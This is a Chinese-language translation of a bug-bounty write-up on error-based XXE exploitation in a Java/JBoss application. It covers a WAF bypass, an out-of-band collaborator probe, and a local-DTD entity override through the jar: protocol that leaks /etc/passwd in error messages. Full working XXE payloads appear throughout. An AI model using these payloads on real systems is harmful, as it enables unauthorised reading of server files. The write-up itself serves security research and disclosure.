原文地址:https://blog.noob.ninja/spilling-local-files-via-xxe-when/
在这篇文章中,我们将分享一个非常有趣的XXE漏洞利用技术,据我所知,这个技术最先见于https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
,后来GoSecure安全团队对其进行了更加深入的研究。在HTTP Out of Band不可用,只能使用DNS请求的情况下,只要应用程序会抛出XML解析的详细错误信息,就能利用本文介绍的方法在服务器上读出本地文件。
在通过Burp浏览应用程序时,我发现应用程序在每个端点都使用了基于JSON的REST API。于是,我开始尝试将Content-Type转换为application/xml
,并重放了其中的一个请求,发现应用程序竟然抛出了verbose错误,并显示了应用服务器(JBoss)等错误细节,很明显,应用程序以为解析的是一些XML,但实际上提供给它的却是JSON。所以,我就把JSON Body转换成了对应的XML。
由于服务器位于一个基于云的WAF后面,所以我干脆不使用XML声明,而是直接扔出XML主体。
<root> <id>..</id> <name>..</name> </root>
令我吃惊的是,应用程序竟然爽快地接受了它,并且请求成功了。
于是,我立即尝试通过最简单的XXE payload来读取文件/etc/passwd
:
<!DOCTYPE a[ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root> <id>1</id> <name>&x;</name> </root>
但WAF又被触发了,于是我在协议前加了一个空格(即file:///etc/passwd
),这样一来,WAF就再次被绕过了!!!
但是,该应用程序将会对所有传递给它的数据进行相应的安全检查,尤其会严格检查“name”或其他任何元素中与/etc/passwd
有关的内容,只允许出现类似[a-zA-Z0-9]
这样的内容。如果我试图读取一个不存在的文件,或者读取/etc/shadow
之类的文件,它就会抛出一个权限不足或其他之类详尽的错误信息,但不会抛出文件内容,所以,可以确认其中存在XXE漏洞,也就是说,我们可以藉此确认服务器上是否存在某文件,或是否有权访问该文件。令人遗憾的是,我们无法在响应中得到文件的内容。
我想跳过所有麻烦的事情,所以转而使用OOB Trick通过FTP来检索文件,由于App Server是JAVA语言编写的,为此使用了burp collaborator,并使用了参数实体,而不是常规的实体。
<!DOCTYPE a[ <!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x; ]> <root> <id>1</id> <name>test</name> </root>
再次重申,在这里HTTP Out of Band是无法使用的。
一个多星期后,我在一个子域上发现了一个RCE漏洞,出于好奇,我在该子域上面托管了一个恶意的DTD文件:一方面可以通过XXE漏洞读取/etc/passwd
文件,另一方面还能利用详细的服务器错误信息来泄露文件的内容,具体如下所示:https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/
,并且最终得偿所愿了!我想,可能是因为这个子域位于白名单中,所以允许建立出站连接的缘故。
为此,公司给我发了一点奖励,并希望我在不借助已知RCE漏洞的情况下利用这个XXE漏洞,如果成功的话,我就能获得全额奖金。
尝试了很长一段时间,我都一直无法利用这个漏洞,但后来https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html
给我带来了一线希望。在这篇文章中,作者列出了许多可能已经存在于系统中的常见的DTD文件,以及如何利用这些DTD文件通过XXE漏洞实现文件读取,并且只需覆盖/替换这些DTD文件中已经存在的实体即可。然而,在我的目标服务器上,该文章中列出的那些DTD文件一个也不存在。
本地DTD技术简介:如果我们发现目标服务器文件系统中某个地方已经存在任何DTD文件,只要该文件含有参数实体(比如<!ENTITY % injectable "something">
),并且该实体会被DTD本身所调用(比如<!ENTITY % random (%injectable;)>
),那么,我们基本上可以覆盖该实体的内容,为此,我们只需利用OOB技术在外部evil.DTD中写入我们要做的事情即可。比如,假设服务器上存在一个legit.td
:
/usr/share/xyz/legit.dtd: .. <!ENTITY % injectable "something"> .. <!ENTITY % random (%injectable;)> .. ..
同时,如果我们利用XXE加入以下内容:
<!DOCTYPE xxe[ <!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd"> <!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('> %x; ]> <root> .. </root>
那么,在解析XML内容的时候,会将
<!ENTITY % random (%injectable;)>
转化为:
<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>
GoSecure还发布了一个工具,用于查找包含可注入实体的DTD文件,同时,该工具需要将Docker容器导出的文件系统作为其输入。因此,我提取了JBoss Docker映像的特定版本,并启动它,然后,通过以下命令将Docker容器导出到文件系统中:
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
dtd-finder-1.0-all.jar的输出内容
这个工具在目标JBoss Docker容器的文件系统的jar/zip
文件中发现了一些带有可注入实体的DTD文件。
以下是发现的jar归档:/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar
,其中含有以下文件:/schema/xmlschema/XMLSchema.td
,该文件中含有一个名为“xs-datypes”的可注入实体。
并且,XMLSchema.td中含有以下内容:
....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here-->
...
....
所以,我不得不在XXE Payload中创建以下实体(用于覆盖XMLSchema.td中的现有实体):
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
幸运的是,当前的利用对象是一个基于JAVA的应用程序,所以,它使用的“jar”协议可以用来读取归档(jar/zip等)中的文件。例如:对于 jar:file://var/www/html/test.zip!/test.txt
来说,其中test.txt就是test.zip归档中的一个文件。
由于我是在自己的本地环境下进行实验的,所以,我立即检查这个jar文件是否也存在于相应的应用程序中,发现它确实存在。接下来,我所要做的就是:使用jar协议读取jbossxacml-x.x.x.Final-redhat-x.jar
中的XMLSchema.dtd文件,然后,通过创建“xs-datatypes”实体来覆盖其内容。
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>
然后,见证奇迹的时刻到了! 它在HTTP响应中的错误消息本身中曝出了/etc/passwd
文件的内容。
利用异常通过本地DTD技术实现具有完整响应的XXE攻击